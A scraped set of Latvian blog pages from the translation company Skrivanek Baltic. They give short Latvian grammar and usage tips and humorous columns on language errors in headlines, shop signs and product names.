grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai šodien ir tik pat vai tikpat silts kā vakar? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-10-30 - Modified: 2024-10-23 - URL: https://skrivanek.lv/tikpat-pret-tik-pat/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TIKPAT VAI TIK PAT 1 Vai šodien ir tik pat vai tikpat silts kā vakar? Vairākas partikulas veido nedalāmus vārdu savienojumus, kas rakstāmi divos vārdos, piemēram, partikula „kaut” – „kaut cik”, partikula „diezin” – „diezin kas” u. c. Partikula „pat” savulaik pievienota apstākļa vārdiem, un šādus apstākļa vārdus raksta vienā vārdā, nevis divos. Tātad „nu pat” vietā rakstīsim „nupat”; „tā pat” vietā – „tāpat”; „te pat” aizstāsim ar „tepat”; „tik pat” – ar „tikpat”; „tur pat” aizstāsim ar „turpat”. Tātad šodien ir tikpat silts kā vakar. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai teiksim „Esat mīļi gaidīti!” vai „Esiet mīļi gaidīti!”? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-10-30 - Modified: 2024-10-22 - URL: https://skrivanek.lv/esat-pret-esiet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ESAT PRET ESIET 1 Vai teiksim „Esat mīļi gaidīti! ” vai „Esiet mīļi gaidīti! ”? Darbības vārds „esat” lietots īstenības izteiksmē, bet „esiet” – pavēles izteiksmē. „Esat mīļi gaidīti! ” uzskatāms par apgalvojumu – „(Jūs) esat mīļi gaidīti! ” –, savukārt „Esiet mīļi gaidīti! ” – par aicinājumu, mudinājumu līdzīgi kā „Ēdiet droši! ” vai „Priecājieties uz nebēdu! ” Tātad varam teikt gan „Esat mīļi gaidīti! ”, gan „Esiet mīļi gaidīti! ”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ikdienā bieži jauc salikteņu „pašreiz” un „patreiz” lietojumu. Uzzini pareizo atbildi! Citi latviešu valodas padomi vienuviet! - Published: 2017-10-30 - Modified: 2024-07-10 - URL: https://skrivanek.lv/pasreiz-pret-patreiz/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PAŠREIZ PRET PATREIZ 1 Vai saule spīd pašreiz vai patreiz? Ikdienā bieži jauc salikteņu „pašreiz” un „patreiz” lietojumu. Vārds „pašreiz” ir literārs vārds ar nozīmi ‘šajā brīdī, šajā laikposmā’. Parasti tiek skaidrots, ka tas veidojies kā saīsinājums no vārdiem „(šo) pašu reizi”. Vārda „patreiz” lietojumu, iespējams, veicina citi laika apstākļa vārdi, kuros ir vārddaļa „pat”, piemēram, „nupat” vai „patlaban”. Tomēr „patreiz” latviešu valodā ir nevēlams vārds, un pareizā apstākļa vārda forma ir „pašreiz”. Tātad pašreiz spīd saule, pašreiz notiek mākslas festivāls utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Redzētais skaistumkopšanas salonu piedāvājumā pārsteidz, un mūs pārņem izjūtas kā dziesmā „Lora, o, Lora”, tikai polonēz’ un majonēz’ vietā ieraugām makijāž’ un tatuāž’. - Published: 2017-10-27 - Modified: 2022-09-06 - URL: https://skrivanek.lv/masaz-un-tatuaz-jeb-diena-skaistumkopsanas-pasaule/ - Kategorijas: valodas pērles - Translation Priorities: Optional MASĀŽ’ UN TATUĀŽ’ JEB DIENA SKAISTUMKOPŠANAS PASAULĒ Pavasarī daba mostas, un tik ļoti kārojas pēc garās ziemas sevi mazliet palutināt. Domāts – darīts, tāpēc ieskatāmies skaistumkopšanas salonu piedāvājumā. Redzētais pārsteidz, un mūs pārņem izjūtas kā dziesmā „Lora, o, Lora”, tikai polonēz’ un majonēz’ vietā ieraugām makijāž’ un tatuāž’. Cik interesanta ir skaistumkopšanas pasaule! Kur gan radušies tādi pakalpojumu nosaukumi kā uzacu krāsošanas tehnoloģija ar tatuāžas efektu vai vakara makijāža? Latviešu valodā ir vairāki no franču valodas aizgūti vārdi ar izskaņu „-āža”, kas ir gluži ierasti, piemēram, masāža (no franču „massage”) vai pasāža (no franču „passage”). Arī vārds makijāža atrodams latviešu valodas vārdnīcās: vārds aizgūts no franču valodas vārda „maquillage” ar nozīmi ‘grims, grimēšana, krāsošana’. Stilistiski gan vārda makijāža vietā ir ieteicams lietot vārdu „grims” – grima māksla, dienas grims, skatuves grims utt. Francijas, jo īpaši francūziešu, dzīvesveids mums noteikti asociējas ar skaistumu un izsmalcinātību. Droši vien tāpēc tik daudzi vārdi, kas saistīti ar mūsu ķermeņa kopšanu, dažādām skaistuma kopšanas un vairošanas procedūrām, aizgūti no franču valodas. Tāpat acīmredzot salonos „iesprucis” vārds tatuāža – lai gan vārda etimoloģija meklējama polinēzešu valodās (vārds „tatau” nozīmē ‘rakstīt’), franču valodā vārds „tatouage” nozīmē ‘tetovējums’. Tatuāžas efekts, domājams, ir efekts ar tetovējuma noturību, proti, tāds, kas paredzēts ilgam laikam. Tātad salons mums piedāvā uzacis uzkrāsot tehnikā ar tetovējuma noturību, kā arī izveidot vakara grimu. Pavisam vienkārši – ejam posties! Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Vai lielas iestādes rūpējas par saviem darbiniekiem arī to pēdējā gaitā, tādēļ ērtības labad slēdz līgumu ar apbedīšanas pakalpojumu sniedzēju? Uzzini rakstā! - Published: 2017-10-27 - Modified: 2021-05-06 - URL: https://skrivanek.lv/darbinieku-apbedisanas-pakalpojumi-no-darba-uz-kapa-vietu/ - Kategorijas: valodas pērles - Translation Priorities: Optional DARBINIEKU APBEDĪŠANAS PAKALPOJUMI: NO DARBA UZ KAPA VIETU Ziņkāri šomēnes izpelnījies virsraksts „Austrumu slimnīcas nedienas: pārtrauc līgumu ar darbinieku apbedīšanas uzņēmumu”. Vai lielas iestādes rūpējas par saviem darbiniekiem arī to pēdējā gaitā, tādēļ ērtības labad slēdz līgumu ar apbedīšanas pakalpojumu sniedzēju? Saprotams, slimnīca ir plaša, medicīnas personāls – liels, turklāt, kā zināms, ne viens vien par ārstu strādā vai visu mūžu līdz pat pensijas vecumam. Izklausās ļoti cienījami: ilggadējos slimnīcas darbiniekus apbedī konkrēts uzņēmums, kam jau labi zināms, kāds reglaments jāievēro, gatavojoties medicīnas darbinieku bērēm. Izrādās, mūsu pieņēmums ir aplams, jo pēcāk virsraksts parādās citā veidolā: „Austrumu slimnīcas nedienas: pārtrauc līgumu ar darbiniecēm piederošu apbedīšanas firmu”. Tātad līgums pārtraukts nevis ar uzņēmumu, kurš apbedī darbiniekus, bet gan ar uzņēmumu, kurš pieder darbiniekiem. Nu kļūst skaidrs, ka slimnīca par darbinieku apbedīšanu nerūpējas, bet līdz šim bijusi līgumsaistībās ar kādu savu darbinieču uzņēmumu. Jāteic, ka ausij un acij gluži tīkama nav nedz pirmā, nedz otrā virsraksta versija. Kur meklējama vaina? Te atkal jāmin mūsu nozīmju bagātais ģenitīva locījums – pirmējā virsrakstā pārpratumu radījusi saliktā vārdkopa „darbinieku apbedīšanas uzņēmums”, kur blakus lietoti vārda „uzņēmums” apzīmētāji ģenitīvā ar atšķirīgām nozīmēm. Apzīmētājs „darbinieku” norāda uzņēmuma īpašniekus, savukārt „apbedīšanas” – uzņēmuma nodarbošanos. Lasot gan var šķist, ka runa ir par apbedīšanas uzņēmumu, kas nodarbojas ar slimnīcas darbinieku apglabāšanu, tādēļ rodas pamatīgs pārpratums. Izlabotajā virsrakstā savukārt divdabis „piederošu” padara to nelabskanīgu un liekvārdīgu. Varbūt iespējams pārveidot virsrakstu vēl kādā veidā, saglabājot intrigu, piemēram: „Apbedīšanas pakalpojumu beigas: Austrumu slimnīca pārtrauc līgumu ar darbinieku uzņēmumu”. Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Vai tiešām rūpēm nu ir gals un par vakariņām parūpēsies kāds rosīgs autobots? Uzzini šajā Skrivanek rakstā! - Published: 2017-10-27 - Modified: 2021-08-26 - URL: https://skrivanek.lv/virtuve-ienak-transformeri-un-nanotehnologijas/ - Kategorijas: valodas pērles - Translation Priorities: Optional VIRTUVĒ IENĀK TRANSFORMERI UN NANOTEHNOLOĢIJAS Teju vai zinātniskās fantastikas piedāvājumu mums sagādājis kāds virtuves mēbeļu ražošanas uzņēmums. Vai tiešām rūpēm nu ir gals un par vakariņām parūpēsies kāds rosīgs autobots? Šķiet, pirmais vārds, kas virsrakstā raisa dzīvas asociācijas, ir „transformeri”. Prātā nāk amerikāņu spraiga sižeta filma, kuras oriģinālais nosaukums angļu valodā ir „Transformers” un kuras nosaukums latviešu valodā „Transformeri” ir tiešs pārcēlums no angļu valodas. Angļu valodas vārds „transformer” pamatnozīmē ir transformators – ierīce, ko izmanto sprieguma un strāvas pārveidošanai. Protams, filmā transformeri nepārveido strāvu, bet transformējas jeb pārveidojas paši: pārtop citā veidolā. Konkrētāk – transporta līdzekļos. Futūristiskajā virtuves dizainā tomēr nav paredzēts neviens, kas, ja nepieciešams, varētu pārveidoties par transporta līdzekli vai kādu citu mehānisku ierīci: izrādās, angļu valodā vārdu „transformers” attiecina arī uz sakļaujamām gultām, izvelkamām virsmām u. tml. , proti, saliekamajām mēbelēm. Vārdkopa „saliekamās mēbeles” mums lielākoties saistās ar visiem labi pazīstamajām čīkstošajām „raskladuškām” (žarg. ‘saliekamā gulta’) vai dārza vai atpūtas mēbelēm, kas nav paredzētas pastāvīgai lietošanai. Iespējams, tāpēc šādām mēbelēm mēģinām piešķirt smalkāku skanējumu: daudzfunkcionālās, pārveidojamās mēbeles, transformējamās mēbeles vai vienkārši transformeri. Varbūt atceraties kāda pasažieru pārvadājumu uzņēmuma nedienas ar nanotehnoloģijām? Līdzīgi kā transporta līdzekļiem, arī virtuves virsmām tiek piedāvāts nanopārklājums – aizsargājošs, netīrumus atgrūdošs caurspīdīgs pārklājums, kas aizpilda mikroskopiskus virsmas nelīdzenumus. Virsmas ir krietni vieglāk notīrāmas un ir aizsargātas pret sīkiem skrāpējumiem, tātad ilgāk izskatās kā jaunas. Izklausās patiešām ērti! Pieminot nanotehnoloģijas līdzās transformeriem, patiešām šķiet, ka esam nokļuvuši nākotnē. Transformerus gan skaidrības labad nosaukt vismaz par pārveidojamām vai transformējamām mēbelēm. Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Šoreiz mūs uzrunājis virsraksts par uzņēmumu demogrāfiju. Interesanti, vai arī uzņēmumu skaita izmaiņas pētī demogrāfijas zinātne? Uzzini rakstā! - Published: 2017-10-27 - Modified: 2021-05-06 - URL: https://skrivanek.lv/uznemumu-demografija-sligst-minusos/ - Kategorijas: valodas pērles - Translation Priorities: Optional UZŅĒMUMU DEMOGRĀFIJA SLĪGST MĪNUSOS Šoreiz pērle atradusies ekonomikas laukā: mūs uzrunājis virsraksts par uzņēmumu demogrāfiju. Interesanti, vai arī uzņēmumu skaita izmaiņas pētī demogrāfijas zinātne? Nē, uzņēmumu reģistri un dzimtsarakstu nodaļas parasti neatrodas vienā ēkā. Bet kas īsti kopīgs demogrāfijai un uzņēmējdarbībai? Par demogrāfiju sauc zinātni, kas pētī iedzīvotāju sastāvu un tā izmaiņas. Demogrāfija pētī iedzīvotāju dzimstību un mirstību, migrāciju, tāpat arī iedzīvotāju struktūru, piemēram, dzimumstruktūru, vecumstruktūru, ģimenes struktūru u. tml. kopsakarībā ar bioloģiskiem, ģeogrāfiskiem, sociāliem, ekonomiskiem u. c. apstākļiem. Vārdu sakot, demogrāfija noteikti pētī cilvēkus, nevis uzņēmumus. Virsrakstā gan demogrāfija nav pieminēta nejauši. Te lietots metaforisks nozīmes pārnesums, kādus patiesībā redzam visai bieži, proti, dzīvu būtņu pasaulē ierastas darbības vai apzīmējumi tiek attiecināti uz saimniecisko darbību. Tā nereti dzirdam runājam par augošiem vai plaukstošiem uzņēmumiem, mātesuzņēmumiem, meitasuzņēmumiem, lai gan pamata nozīmē augt vai plaukt, būt mātes un meitas attiecībās var būt tikai dzīvās dabas organismi. Mūsu aplūkotajā rakstā runa ir par starpību starp „dzimušajiem” jeb dibinātajiem un „mirušajiem” jeb likvidētajiem uzņēmumiem – likvidēto uzņēmumu šogad bijis krietni vairāk nekā dibināto, tāpēc arī tiek stāstīts par negatīviem „demogrāfijas” rādītājiem. Tieši dzimstība un mirstība ir pirmais, kas ienāk prātā, ja tiek runāts par demogrāfijas rādītājiem. Ieraugot virsrakstu, gan uzreiz nav skaidrs, vai runa būs par uzņēmumu darbinieku skaita mazināšanos vai, piemēram, to migrēšanu uz citiem uzņēmumiem. Apgalvojums, ka uzņēmumu demogrāfija slīgst mīnusos, izteiksmē ir pavisam koncentrēts un izklausās pēc sarunvalodas – varbūt precīzāks būtu formulējums, ka jaundibināto uzņēmumu rādītājs ir negatīvs. Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Angļu valodā nosaukto rotaļlietu „fidget spinner” latviešu valodā varam dēvēt par virpināmo vai grozāmgrābsli. Lasi vairāk rakstā! - Published: 2017-10-27 - Modified: 2021-05-06 - URL: https://skrivanek.lv/grab-un-grozi/ - Kategorijas: valodas pērles - Translation Priorities: Optional GRĀB UN GROZI Kā zināms, tīmeklī ļoti iemīļoti ir video, kuros darbojas kaķi. Lieli un mazi, melni un raibi – tiem visiem izdodas nokļūt komiskās situācijās un sasmīdināt skatītāju. Kādu brīdi tīmekļa lietotāju uzmanību bija piesaistījis vairāku video sakopojums, kuros kaķi darbojas ar grozāmgrābšļiem. Tas atsauca atmiņā gan pašu rotaļlietu, gan savādo vārdu, kāds tam tika piešķirts latviešu valodā. Laiku pa laikam pasauli pārņem kāda rotaļlieta, kuru kāro visi bērni: ja tev tās nav, skolasbiedru vidū būsi baltais zvirbulis. Vecākiem nekas cits neatliek kā mīļā miera labad to sagādāt, lai gan ir tik labi paredzams – svarīgā rotaļlieta nebūs aktuāla ilgāk par pāris mēnešiem. Pēc laiciņa atkal nāks jauna, un tā tas atkārtosies atkal un atkal. Kādreiz ļoti svarīgi bija spēļu žetoni, kurus saucām par fiškām, tad skolas gaiteņus pārņēma triki ar jojo, kādu brīdi bērni rūpējās par tamagoči. Daļa rotaļlietu nosaukumi bijuši tieši oriģinālo nosaukumu pārcēlumi latviešu valodā, piemēram, jojo vai tamagoči, taču citkārt esam vēlējušies tiem dot nosaukumus, izmantojot mūsu valodas vārdus. Angļu valodā nosauktā rotaļlieta „fidget spinner” latviešu valodā sākotnēji tika dēvēta par fidžetspineri vai vienkārši spineri, līdz Valsts valodas centrs nāca klajā ar visai negaidītu piedāvājumu: rotaļlietu latviešu valodā varam dēvēt par virpināmo vai grozāmgrābsli. Protams, pēc šī ierosinājuma publicēšanas sekoja komentāru gūzma – atkal sasodītie valodnieki izdomājuši kaut kādu ērmību! Vārds „fidget” latviešu valodā tulkots kā ‘nemiers’, ‘nervozitāte’, savukārt „spinner” – ‘vērpējs’, kā arī ‘rotaļlieta vilciņš’. Vai labāks variants būtu nosaukt fidžetspineri par nervu vērpēju? Šķiet, meklējumi tomēr turpinās. Kamēr ar bažām gaidām nākamo rotaļlietu, kas kļūs par pasaules grāvēju, turpinām domāt par dažādiem nosaukumiem un terminiem latviešu valodā. Cik labi, ka strīdi nerimstas – kā zināms, tajos dzimst patiesība, jeb vārdi turpina grozīties mūsu domās. Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Lūgsim papildu vai papildus porciju? Uzzini vārdu papildu un papildus lietojuma atšķirību! Lasi citus noderīgus valodas padomus vienuviet! - Published: 2017-10-27 - Modified: 2024-10-23 - URL: https://skrivanek.lv/papildu-pret-papildus/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PAPILDU VAI PAPILDUS 1 Vai lūgsim papildu vai papildus porciju? Vārdu „papildu” lieto kā apzīmētāju, un tas paskaidro lietvārdu, piemēram, „papildu līdzekļi” vai „papildu uzdevums”. Vārds „papildus” ir apstākļa vārds, kas teikumā parasti paskaidro darbības vārdu, piemēram, „Man jāstrādā papildus. ” vai „Papildus strādāt es negribu. ”. Tātad papildus darīsim papildu darbu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Uzraksts skatlogā „Šoferu un ieroču medicīniskās izziņas” kņudina prātu. Vai ieroči arī iet medicīniskas pārbaudes? Uzzini šajā bloga rakstā! - Published: 2017-10-26 - Modified: 2021-05-06 - URL: https://skrivanek.lv/soferu-un-ierocu-mediciniskas-izzinas/ - Kategorijas: valodas pērles - Translation Priorities: Optional ŠOFERU UN IEROČU MEDICĪNISKĀS IZZIŅAS Ielās mūs uzrunā neskaitāmas izkārtnes un skatlogi. Vieni liek pasmaidīt, citi – priecāties, citi savukārt neizpratnē berzēt acis: ko es tikko redzēju? Tā šoreiz gadījies arī mums – uzraksts skatlogā „Šoferu un ieroču medicīniskās izziņas” kņudina prātu. Vai ieroči arī iet medicīniskas pārbaudes? Rakstītais, protams, kopumā ir saprotams: pakalpojumu sniedzējs cilvēkiem piedāvā iespēju iziet medicīnisko apskati, lai saņemtu vai mainītu autovadītāja apliecību, kā arī tādu medicīnisko apskati, lai iegūtu ieroču nēsāšanas atļauju. Tik liels informācijas daudzums nav piemērots tādām vietām kā skatlogi, un ērtuma labad šeit pateikts tik daudz, cik nepieciešams, lai būtu skaidrs, ko pakalpojumu sniedzējs mums piedāvā. Atslēgvārdi ir minēti: šoferi, ieroči, medicīniskās izziņas. Skaidrs! Mežģus prātā un smaidu sejā gan rada tas, ka pie vārdkopas „medicīniskās izziņas” pievienoti divi apzīmētāji ģenitīvā – šoferu un ieroču – ar atšķirīgu nozīmi. Proti, šoferi jeb autovadītāji ir tie, kam vajadzīgas izziņas, tātad ģenitīvs lietots ar subjekta nozīmi, savukārt ieroči ir nolūks, kādēļ vajadzīgas izziņas, tātad šis ir ģenitīvs ar objekta nozīmi. Ja saliekam tos blakus kā vienlīdzīgus teikuma locekļus, rakstītais šķiet pagalam savāds. Tikpat amizanti būtu tādi uzraksti kā „Pavāru un zivju naži”, „Sieviešu un ziemas zābaki” vai „Vīriešu un sporta apģērbi” utt. Nav prātīgi jaukt kopā ģenitīva subjekta un objekta nozīmes, jo tas rada sliktu iespaidu par valodas lietotāja valodas izjūtu un stilu. Lai gan ir saprotams, ko pakalpojuma sniedzējs mums vēlējies pateikt, mēs tomēr ieteiktu skatlogā rakstīt, piemēram, šādi: „Medicīniskās izziņas autovadītājiem un ieroču nēsātājiem”. Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Kāda balva šogad piešķirta Bobam Dilanam? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2016-11-16 - Modified: 2024-08-14 - URL: https://skrivanek.lv/nobela-premija-pret-nobela-premija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NOBELA PRĒMIJA PRET NOBEĻA PRĒMIJA 1 Kāda balva šogad piešķirta Bobam Dilanam? Nobela prēmija ir starptautiska balva, kas nosaukta tās dibinātāja vārdā: saskaņā ar zviedru izgudrotāja Alfrēda Nobela testamentu ik gadu tiek piešķirta balva par pētījumiem un atklājumiem fizikā, ķīmijā, fizioloģijā vai medicīnā, balva par ieguldījumu literatūrā, miera veicināšanā, kā arī Zviedrijas Centrālās bankas dibinātā balva ekonomikā Alfrēda Nobela piemiņai. Latviešu valodā sastopami vārdi ar izskaņu „-elis”, piemēram, „kabelis”, kuros ģenitīvā notiek līdzskaņu mija: „kabeļa”. Droši vien tāpēc nereti uzskatām, ka nominatīvā izgudrotāja uzvārds ir Nobelis, nevis Nobels, un kļūdaini balvu dēvējam par Nobeļa prēmiju. Tā kā nominatīvā uzvārds ir Nobels, apbalvojums saucams par Nobela prēmiju. Tātad Bobam Dilanam piešķirta Nobela prēmija literatūrā, Nobela miera prēmija 2014. gadā piešķirta Malālai Jūsafzajai. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- --- ## Portfolio Items --- ## Titles --- ## Footers ---